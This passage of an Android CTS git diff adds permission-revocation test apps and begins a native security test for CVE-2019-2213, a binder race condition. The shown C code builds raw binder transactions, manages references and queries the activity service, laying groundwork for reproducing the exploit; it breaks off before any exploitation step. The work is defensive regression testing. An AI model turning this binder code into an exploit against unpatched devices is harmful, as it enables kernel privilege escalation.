+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/AndroidManifest.xml
new file mode 100644
index 0000000..f514d54
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.revokepermissionwhenremoved.userapp">
+
+    <uses-permission android:name="android.permission.cts.revokepermissionwhenremoved.TestPermission" />
+
+    <application>
+    </application>
+</manifest>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/Android.mk b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/Android.mk
new file mode 100644
index 0000000..1d314d2
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/Android.mk
@@ -0,0 +1,17 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.mk b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.mk
new file mode 100644
index 0000000..0719e6a
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := current
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+LOCAL_PACKAGE_NAME := CtsRuntimePermissionDefinerApp
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/AndroidManifest.xml
new file mode 100644
index 0000000..d3cf6d0
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.revokepermissionwhenremoved.runtimepermissiondefinerapp">
+
+    <permission android:name="android.permission.cts.revokepermissionwhenremoved.TestRuntimePermission"
+        android:protectionLevel="dangerous"
+        android:label="TestPermission"
+        android:description="@string/test_permission" />
+
+    <application>
+    </application>
+</manifest>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/res/values/strings.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/res/values/strings.xml
new file mode 100644
index 0000000..bfb3e1e
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="test_permission">Test Permission</string>
+</resources>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.mk b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.mk
new file mode 100644
index 0000000..3e7505b
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.mk
@@ -0,0 +1,29 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := current
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
+LOCAL_PACKAGE_NAME := CtsRuntimePermissionUserApp
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/AndroidManifest.xml
new file mode 100644
index 0000000..d977e46
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.revokepermissionwhenremoved.runtimepermissionuserapp">
+
+    <uses-permission android:name="android.permission.cts.revokepermissionwhenremoved.TestRuntimePermission" />
+
+    <application>
+    </application>
+</manifest>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.mk b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.mk
new file mode 100644
index 0000000..833b8c7
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := current
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+
+LOCAL_PACKAGE_NAME := CtsVictimPermissionDefinerApp
+
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/AndroidManifest.xml
new file mode 100644
index 0000000..3fb0abd
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.revokepermissionwhenremoved.VictimPermissionDefinerApp">
+    <permission android:name="android.permission.cts.revokepermissionwhenremoved.TestPermission"
+        android:protectionLevel="signature"
+        android:label="Test Permission"
+        android:description="@string/test_permission" />
+    <application>
+    </application>
+</manifest>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/res/values/strings.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/res/values/strings.xml
new file mode 100644
index 0000000..bfb3e1e
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="test_permission">Test Permission</string>
+</resources>
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index b41f33d..5afe33c 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -43,6 +43,7 @@
         "libc++",
         "libpcre2",
         "libpackagelistparser",
+        "libcve_2019_2213_jni",
     ],
     srcs: [
         "src/**/*.java",
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 54df055..6eaaaa5 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -51,6 +51,36 @@
         </activity>
 
         <activity
+            android:name="android.security.cts.BinderExploitTest$CVE_2019_2213_Activity"
+            android:label="Test Binder Exploit Race Condition activity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <activity
+            android:name="android.security.cts.NanoAppBundleTest$FailActivity"
+            android:label="Test Nano AppBundle customized failure catch activity">
+            <intent-filter>
+                <action android:name="android.intent.action.RUN" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+
+        <service
+            android:name="android.security.cts.NanoAppBundleTest$AuthenticatorService"
+            android:enabled="true"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.accounts.AccountAuthenticator" />
+            </intent-filter>
+            <meta-data
+                android:name="android.accounts.AccountAuthenticator"
+                android:resource="@xml/authenticator" />
+        </service>
+
+        <activity
             android:name="android.security.cts.SkiaJpegDecodingActivity"
             android:label="Test overflow in libskia JPG processing">
             <intent-filter>
diff --git a/tests/tests/security/aidl/android/security/cts/IBinderExchange.aidl b/tests/tests/security/aidl/android/security/cts/IBinderExchange.aidl
new file mode 100644
index 0000000..1b6d7d9
--- /dev/null
+++ b/tests/tests/security/aidl/android/security/cts/IBinderExchange.aidl
@@ -0,0 +1,24 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.os.IBinder;
+
+interface IBinderExchange {
+    void putBinder(in IBinder bnd);
+    IBinder getBinder();
+}
diff --git a/tests/tests/security/jni/Android.bp b/tests/tests/security/jni/Android.bp
index 27f6289..b667f18 100644
--- a/tests/tests/security/jni/Android.bp
+++ b/tests/tests/security/jni/Android.bp
@@ -31,3 +31,25 @@
         "libcutils",
     ],
 }
+
+cc_library {
+    name: "libcve_2019_2213_jni",
+    srcs: [
+        "android_security_cts_cve_2019_2213_Test.c",
+    ],
+    shared_libs: [
+        "libnativehelper_compat_libc++",
+    ],
+    static_libs: [
+        "cpufeatures",
+        "libcutils",
+    ],
+    cflags: [
+        "-Werror",
+        "-Wpointer-arith",
+        "-Wno-unused-parameter",
+        "-Wno-sign-compare",
+        "-Wno-unused-label",
+        "-Wno-unused-variable",
+    ],
+}
diff --git a/tests/tests/security/jni/android_security_cts_cve_2019_2213_Test.c b/tests/tests/security/jni/android_security_cts_cve_2019_2213_Test.c
new file mode 100644
index 0000000..90557a0
--- /dev/null
+++ b/tests/tests/security/jni/android_security_cts_cve_2019_2213_Test.c
@@ -0,0 +1,1911 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <sys/mman.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/socket.h>
+#include <sys/un.h>
+#include <sys/prctl.h>
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <syscall.h>
+#include <pthread.h>
+#include <dirent.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <sched.h>
+#include <poll.h>
+#include <elf.h>
+
+#include <cutils/log.h>
+#include <cutils/properties.h>
+#include <jni.h>
+#include <linux/android/binder.h>
+#include <cpu-features.h>
+
+#include "../../../../hostsidetests/securitybulletin/securityPatch/includes/common.h"
+
+typedef uint8_t u8;
+typedef uint16_t u16;
+typedef uint32_t u32;
+typedef uint64_t u64;
+typedef int64_t s64;
+
+jobject this;
+jmethodID add_log;
+JavaVM *jvm;
+
+#define MAX_THREADS 10
+
+struct tid_jenv {
+    int tid;
+    JNIEnv *env;
+};
+struct tid_jenv tid_jenvs[MAX_THREADS];
+int num_threads;
+
+int gettid() {
+    return (int)syscall(SYS_gettid);
+}
+
+void fail(char *msg, ...);
+
+void add_jenv(JNIEnv *e) {
+    if (num_threads >= MAX_THREADS) {
+        fail("too many threads");
+        return;
+    }
+    struct tid_jenv *te = &tid_jenvs[num_threads++];
+    te->tid = gettid();
+    te->env = e;
+}
+
+JNIEnv *get_jenv() {
+    int tid = gettid();
+    for (int i = 0; i < num_threads; i++) {
+        struct tid_jenv *te = &tid_jenvs[i];
+        if (te->tid == tid)
+            return te->env;
+    }
+    return NULL;
+}
+
+void jni_attach_thread() {
+    JNIEnv *env;
+    (*jvm)->AttachCurrentThread(jvm, &env, NULL);
+    add_jenv(env);
+}
+
+pthread_mutex_t log_mut = PTHREAD_MUTEX_INITIALIZER;
+pthread_cond_t log_pending = PTHREAD_COND_INITIALIZER;
+pthread_cond_t log_done = PTHREAD_COND_INITIALIZER;
+volatile char *log_line;
+
+void send_log_thread(char *msg) {
+    pthread_mutex_lock(&log_mut);
+    while (log_line)
+        pthread_cond_wait(&log_done, &log_mut);
+    log_line = msg;
+    pthread_cond_signal(&log_pending);
+    pthread_mutex_unlock(&log_mut);
+}
+
+void dbg(char *msg, ...);
+
+void log_thread(u64 arg) {
+    while (1) {
+        pthread_mutex_lock(&log_mut);
+        while (!log_line)
+            pthread_cond_wait(&log_pending, &log_mut);
+        dbg("%s", log_line);
+        free((void*)log_line);
+        log_line = NULL;
+        pthread_cond_signal(&log_done);
+        pthread_mutex_unlock(&log_mut);
+    }
+}
+
+void dbg(char *msg, ...) {
+    char *line;
+    va_list va;
+    JNIEnv *env = get_jenv();
+    va_start(va, msg);
+    if (vasprintf(&line, msg, va) >= 0) {
+        if (env) {
+            jstring jline = (*env)->NewStringUTF(env, line);
+            (*env)->CallVoidMethod(env, this, add_log, jline);
+            free(line);
+        } else {
+            send_log_thread(line);
+        }
+    }
+    va_end(va);
+}
+
+void fail(char *msg, ...) {
+    char *line;
+    va_list va;
+    va_start(va, msg);
+    if (vasprintf(&line, msg, va) >= 0)
+        dbg("FAIL: %s (errno=%d)", line, errno);
+    va_end(va);
+}
+
+struct buffer {
+    char *p;
+    u32 size;
+    u32 off;
+};
+
+typedef struct buffer buf_t;
+
+struct parser {
+    u8 *buf;
+    u8 *p;
+    u32 size;
+};
+
+typedef struct parser parser_t;
+
+parser_t *new_parser() {
+    parser_t *ret = malloc(sizeof(parser_t));
+    ret->size = 0x400;
+    ret->buf = ret->p = malloc(ret->size);
+    return ret;
+}
+
+void free_parser(parser_t *parser) {
+    free(parser->buf);
+    free(parser);
+}
+
+int parser_end(parser_t *p) {
+    return !p->size;
+}
+
+void *parser_get(parser_t *p, u32 sz) {
+    if (sz > p->size) {
+        fail("parser size exceeded");
+        return NULL;
+    }
+    p->size -= sz;
+    u8 *ret = p->p;
+    p->p += sz;
+    return ret;
+}
+
+u32 parse_u32(parser_t *p) {
+    u32 *pu32 = parser_get(p, sizeof(u32));
+    return (pu32 == NULL) ? (u32)-1 : *pu32;
+}
+
+buf_t *new_buf_sz(u32 sz) {
+    buf_t *b = malloc(sizeof(buf_t));
+    b->size = sz;
+    b->off = 0;
+    b->p = malloc(sz);
+    return b;
+}
+
+buf_t *new_buf() {
+    return new_buf_sz(0x200);
+}
+
+void free_buf(buf_t *buf) {
+    free(buf->p);
+    free(buf);
+}
+
+void *buf_alloc(buf_t *b, u32 s) {
+    s = (s + 3) & ~3;
+    if (b->size - b->off < s)
+        fail("out of buf space");
+    char *ret = b->p + b->off;
+    b->off += s;
+    memset(ret, 0x00, s);
+    return ret;
+}
+
+void buf_u32(buf_t *b, u32 v) {
+    char *p = buf_alloc(b, sizeof(u32));
+    *(u32*)p = v;
+}
+
+void buf_u64(buf_t *b, u64 v) {
+    char *p = buf_alloc(b, sizeof(u64));
+    *(u64*)p = v;
+}
+
+void buf_uintptr(buf_t *b, u64 v) {
+    char *p = buf_alloc(b, sizeof(u64));
+    *(u64*)p = v;
+}
+
+void buf_str16(buf_t *b, const char *s) {
+    if (!s) {
+        buf_u32(b, 0xffffffff);
+        return;
+    }
+    u32 len = strlen(s);
+    buf_u32(b, len);
+    u16 *dst = (u16*)buf_alloc(b, (len + 1) * 2);
+    for (u32 i = 0; i < len; i++)
+        dst[i] = s[i];
+    dst[len] = 0;
+}
+
+void buf_binder(buf_t *b, buf_t *off, void *ptr) {
+    buf_u64(off, b->off);
+    struct flat_binder_object *fp = buf_alloc(b, sizeof(*fp));
+    fp->hdr.type = BINDER_TYPE_BINDER;
+    fp->flags = FLAT_BINDER_FLAG_ACCEPTS_FDS;
+    fp->binder = (u64)ptr;
+    fp->cookie = 0;
+}
+
+static inline void binder_write(int fd, buf_t *buf);
+
+void enter_looper(int fd) {
+    buf_t *buf = new_buf();
+    buf_u32(buf, BC_ENTER_LOOPER);
+    binder_write(fd, buf);
+}
+
+void init_binder(int fd) {
+    void *map_ret = mmap(NULL, 0x200000, PROT_READ, MAP_PRIVATE, fd, 0);
+    if (map_ret == MAP_FAILED)
+        fail("map fail");
+    enter_looper(fd);
+}
+
+int open_binder() {
+    int fd = open("/dev/binder", O_RDONLY);
+    if (fd < 0)
+        fail("open binder fail");
+    init_binder(fd);
+    return fd;
+}
+
+static inline void binder_rw(int fd, void *rbuf, u32 rsize,
+        void *wbuf, u32 wsize, u32 *read_consumed, u32 *write_consumed) {
+    struct binder_write_read bwr;
+    memset(&bwr, 0x00, sizeof(bwr));
+    bwr.read_buffer = (u64)rbuf;
+    bwr.read_size = rsize;
+    bwr.write_buffer = (u64)wbuf;
+    bwr.write_size = wsize;
+    if (ioctl(fd, BINDER_WRITE_READ, &bwr) < 0)
+        fail("binder ioctl fail");
+    if (read_consumed)
+        *read_consumed = bwr.read_consumed;
+    if (write_consumed)
+        *write_consumed = bwr.write_consumed;
+}
+
+void binder_read(int fd, void *rbuf, u32 rsize, u32 *read_consumed) {
+    binder_rw(fd, rbuf, rsize, 0, 0, read_consumed, NULL);
+}
+
+static inline void binder_write(int fd, buf_t *buf) {
+    u32 write_consumed;
+    binder_rw(fd, 0, 0, buf->p, buf->off, NULL, &write_consumed);
+    if (write_consumed != buf->off)
+        fail("binder write fail");
+    free_buf(buf);
+}
+
+void do_send_txn(int fd, u32 to, u32 code, buf_t *trdat, buf_t *troff, int oneway, int is_reply, binder_size_t extra_sz) {
+    buf_t *buf = new_buf();
+    buf_u32(buf, is_reply ? BC_REPLY_SG : BC_TRANSACTION_SG);
+    struct binder_transaction_data_sg *tr;
+    tr = buf_alloc(buf, sizeof(*tr));
+    struct binder_transaction_data *trd = &tr->transaction_data;
+    trd->target.handle = to;
+    trd->code = code;
+    if (oneway)
+        trd->flags |= TF_ONE_WAY;
+    trd->data.ptr.buffer = trdat ? (u64)trdat->p : 0;
+    trd->data.ptr.offsets = troff ? (u64)troff->p : 0;
+    trd->data_size = trdat ? trdat->off : 0;
+    trd->offsets_size = troff ? troff->off : 0;
+    tr->buffers_size = extra_sz;
+    binder_write(fd, buf);
+    if (trdat)
+        free_buf(trdat);
+    if (troff)
+        free_buf(troff);
+}
+
+void send_txn(int fd, u32 to, u32 code, buf_t *trdat, buf_t *troff) {
+    do_send_txn(fd, to, code, trdat, troff, 0, 0, 0);
+}
+
+void send_reply(int fd) {
+    do_send_txn(fd, 0, 0, NULL, NULL, 0, 1, 0);
+}
+
+static inline void chg_ref(int fd, unsigned desc, u32 cmd) {
+    buf_t *buf = new_buf();
+    buf_u32(buf, cmd);
+    buf_u32(buf, desc);
+    binder_write(fd, buf);
+}
+
+void inc_ref(int fd, unsigned desc) {
+    chg_ref(fd, desc, BC_ACQUIRE);
+}
+
+void dec_ref(int fd, unsigned desc) {
+    chg_ref(fd, desc, BC_RELEASE);
+}
+
+static inline void free_buffer(int fd, u64 ptr) {
+    buf_t *buf = new_buf();
+    buf_u32(buf, BC_FREE_BUFFER);
+    buf_uintptr(buf, ptr);
+    binder_write(fd, buf);
+}
+
+typedef struct {
+    int fd;
+    char *buf;
+    binder_size_t size;
+    binder_size_t parsed;
+    binder_size_t *offsets;
+    binder_size_t num_offsets;
+    u32 code;
+    u64 ptr;
+} txn_t;
+
+void *txn_get(txn_t *t, u32 sz) {
+    sz = (sz + 3) & ~3u;
+    if (sz > t->size - t->parsed)
+        fail("txn get not enough data");
+    char *ret = t->buf + t->parsed;
+    t->parsed += sz;
+    return ret;
+}
+
+binder_size_t txn_offset(txn_t *t) {
+    return t->parsed;
+}
+
+void txn_set_offset(txn_t *t, binder_size_t off) {
+    t->parsed = off;
+}
+
+u32 txn_u32(txn_t *t) {
+    return *(u32*)txn_get(t, sizeof(u32));
+}
+
+int txn_int(txn_t *t) {
+    return *(int*)txn_get(t, sizeof(int));
+}
+
+u32 txn_handle(txn_t *t) {
+    struct flat_binder_object *fp;
+    fp = txn_get(t, sizeof(*fp));
+    if (fp->hdr.type != BINDER_TYPE_HANDLE)
+        fail("expected binder");
+    return fp->handle;
+}
+
+u16 *txn_str(txn_t *t) {
+    int len = txn_int(t);
+    if (len == -1)
+        return NULL;
+   if (len > 0x7fffffff / 2 - 1)
+        fail("bad txn str len");
+    return txn_get(t, (len + 1) * 2);
+}
+
+static inline u64 txn_buf(txn_t *t) {
+    return (u64)t->buf;
+}
+
+void free_txn(txn_t *txn) {
+    free_buffer(txn->fd, txn_buf(txn));
+}
+
+
+void handle_cmd(int fd, u32 cmd, void *dat) {
+    if (cmd == BR_ACQUIRE || cmd == BR_INCREFS) {
+        struct binder_ptr_cookie *pc = dat;
+        buf_t *buf = new_buf();
+        u32 reply = cmd == BR_ACQUIRE ? BC_ACQUIRE_DONE : BC_INCREFS_DONE;
+        buf_u32(buf, reply);
+        buf_uintptr(buf, pc->ptr);
+        buf_uintptr(buf, pc->cookie);
+        binder_write(fd, buf);
+    }
+}
+
+void recv_txn(int fd, txn_t *t) {
+    u32 found = 0;
+    while (!found) {
+        parser_t *p = new_parser();
+        binder_read(fd, p->p, p->size, &p->size);
+        while (!parser_end(p)) {
+            u32 cmd = parse_u32(p);
+            void *dat = (void *)parser_get(p, _IOC_SIZE(cmd));
+            if (dat == NULL) {
+                return;
+            }
+            handle_cmd(fd, cmd, dat);
+            if (cmd == BR_TRANSACTION || cmd == BR_REPLY) {
+                struct binder_transaction_data *tr = dat;
+                if (!parser_end(p))
+                    fail("expected parser end");
+                t->fd = fd;
+                t->buf = (char*)tr->data.ptr.buffer;
+                t->parsed = 0;
+                t->size = tr->data_size;
+                t->offsets = (binder_size_t*)tr->data.ptr.offsets;
+                t->num_offsets = tr->offsets_size / sizeof(binder_size_t);
+                t->code = tr->code;
+                t->ptr = tr->target.ptr;
+                found = 1;
+            }
+        }
+        free_parser(p);
+    }
+}
+
+u32 recv_handle(int fd) {
+    txn_t txn;
+    recv_txn(fd, &txn);
+    u32 hnd = txn_handle(&txn);
+    inc_ref(fd, hnd);
+    free_txn(&txn);
+    return hnd;
+}
+
+u32 get_activity_svc(int fd) {
+    buf_t *trdat = new_buf();
+    buf_u32(trdat, 0); // policy
+    buf_str16(trdat, "android.os.IServiceManager");
+    buf_str16(trdat, "activity");
+    int SVC_MGR_GET_SERVICE = 1;
+    send_txn(fd, 0, SVC_MGR_GET_SERVICE, trdat, NULL);
+    return recv_handle(fd);
+}
+
+void txn_part(txn_t *t) {
+    int repr = txn_int(t);
+    if (repr == 0) {
+        txn_str(t);
+        txn_str(t);
+    } else if (repr == 1 || repr == 2) {
+        txn_str(t);
+    } else {
+        fail("txn part bad repr");
+    }
+}
+
+void txn_uri(txn_t *t) {
+    int type = txn_int(t);
+    if (type == 0) // NULL_TYPE_ID
+        return;
+    if (type == 1) { // StringUri.TYPE_ID
+        txn_str(t);
+    } else if (type == 2) {
+        txn_str(t);
+        txn_part(t);
+        txn_part(t);
+    } else if (type == 3) {
+        txn_str(t);
+        txn_part(t);
+        txn_part(t);
+        txn_part(t);
+        txn_part(t);
+    } else {
+        fail("txn uri bad type");
+    }
+}
+
+void txn_component(txn_t *t) {
+    u16 *pkg = txn_str(t);
+    if (pkg)
+        txn_str(t); // class
+}
+
+void txn_rect(txn_t *t) {
+    txn_int(t);
+    txn_int(t);
+    txn_int(t);
+    txn_int(t);
+}
+
+int str16_eq(u16 *s16, char *s) {
+    while (*s) {
